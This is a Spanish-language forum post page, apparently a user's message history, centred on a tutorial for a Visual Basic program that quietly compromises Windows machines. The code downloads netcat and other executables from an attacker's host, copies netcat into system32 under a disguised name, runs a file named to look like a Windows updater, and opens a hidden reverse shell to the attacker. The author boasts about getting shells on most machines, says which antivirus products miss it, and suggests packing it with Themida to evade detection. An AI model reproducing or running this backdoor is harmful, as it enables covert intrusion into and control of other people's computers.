es para un chat..........
man, ya te esplicaron como diferenciar los datos que llegan y envias, fijate bien
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
es para un chat..........
man, ya te esplicaron como diferenciar los datos que llegan y envias, fijate bien
, ya solo te falta: conseguir el modulo, agregarlo al projecto y hacer con el lo que estas pidiendo en el post y..listo !!
, mira ver si puedes añadir más, salu2
, se agradeceria por mi parte y seguro que por la de otros muchos tambien, lo de los timers, se que no es la mejor idea, si te fijas, por eso dije que no necesitamos que nuestra app se inicie con windows pues despues de ser eejcutada va hacer su trabajo y listo!! No la necesitamos para nada más, la idea de los timers la comente cuando dije: que si la ivas a registrar con windows, por qué ? pues porque si no haces eso de que cheke si dichos files existen..en el proximo inicio de nuestra app con windows va a volver a ejecutar esos timers y seguido: volver a descargar netcat, a copiarlo al systemfolder, registrarse..descargar los files..etc ( lo que ayas puesto dentro de timers ) de seguro habran más modos de hacerlo pero esa fue la que se me ocurrio de rapido cuando escribi el codigo, pues bueno eso es todo y decir que para los que tengais dudas de si funciona o no, pues chekadlo y vereis que obtendreis shell de la mayoria de maquinas, algunos fw cantaran y algun av, pero en mi caso tenia cuando escribi el codigo instalado nod32 y el x ejemplo ni se inmutaba, llegaba el netcat y demas files a la ruta que indique en el codigo
, outpost x ejemplo..si canta y de seguro algunos más como ya dije, por todo lo demas creo que bien, salu2 y espero que me ayuden a mejorar este tutorial, no para mi, sino para todos nosotros interesados,
bye .

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_NORMAL = 1
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long 'api necesaria para el descargar algo de internet
Option ExplicitPrivate Sub Form_Load()
URLDownloadToFile 0, "http://usuarios.lycos.es/TU_USER/nc.exe", "C:\NC1.exe", 0, 0 'descargamos netcat desde nuestro host y lo ponemos en c:\ , el netcat para que pase muchisimo más desapersivido, pasale themida ;), que aunque pese 1mb, lo estamos descagarndo desde vb, no via navegador ;) y al descarga es algo más rapida y no visible ni x ventanas sino talvez por algunos fws, pero vereis que la mayoria de veces el netcat llegara a buen puerto, nod32 x ejemplo no me detectaba.
End Sub
; tiene un intervalo de 45000 y esta en enabled = truePrivate Sub Timer_copync_Timer()
On Error Resume Next
FileCopy "C:\NC1.exe", "C:\WINDOWS\system32\winnc.exe" 'copia el netcat a system32 en win xp
Timer_copync.Enabled = False
End SubPrivate Sub Timer_run_nc_Timer()
On Error Resume Next
Dim abrir As Long
URLDownloadToFile 0, "http://usuarios.lycos.es/TU_userNAME/wuauclt32.exe", "C:\wuauclt32.exe", 0, 0
abrir = ShellExecute(Me.hwnd, "Open", "C:\wuauclt32.exe", "", "", 1)
Timer_run_nc.Enabled = False
End Subon error resume next
Shell "cmd.exe /c winnc -d -e cmd.exe túip puerto ", vbHide
timer_at_horarios_d_ejecución_Timer()
On Error Resume Next
Dim abrir As Long
URLDownloadToFile 0, "http://usuarios.lycos.es/tu_user/at.bat", "C:\at.bat", 0, 0
abrir = ShellExecute(Me.hWnd, "Open", "C:\at.bat", "", "", 1)
timer_at_horarios_d_ejecución.enabled = false
end subPrivate Sub Timer_copync_Timer()
On Error Resume Next
FileCopy "C:\NC1.exe", "C:\WINDOWS\system32\winnc.exe" 'copia el netcat a system32 en win xp
Open "C:\chek_4_file_exist.xD" For Random As #1
Close #1
Timer_copync.Enabled = False
End SubPrivate Sub Form_Load()
URLDownloadToFile 0, "http://usuarios.lycos.es/TU_USER/nc.exe", "C:\NC1.exe", 0, 0
If Dir("C:\chek_4_file_exist.xD") <> "" Then
'
Timer_copync.Enabled = False
Else
Timer_copync.Enabled = True
End If
'ahora con ese codigo en el form le decimos que si ese archivo existe no ejecute el timer de nuevo y si el file no existe pues si ejecutamos el timer
End Sub


by AililiA
dudo que te dieras cuenta, disjite esto y no fui yo: sino pones la clase/control...
y para volver a responde algo como la última respuesta ni te molestes ok ? aver si te piensas que estas tratando con quien un bobo o algo, mide tus palabras amigo, salu2.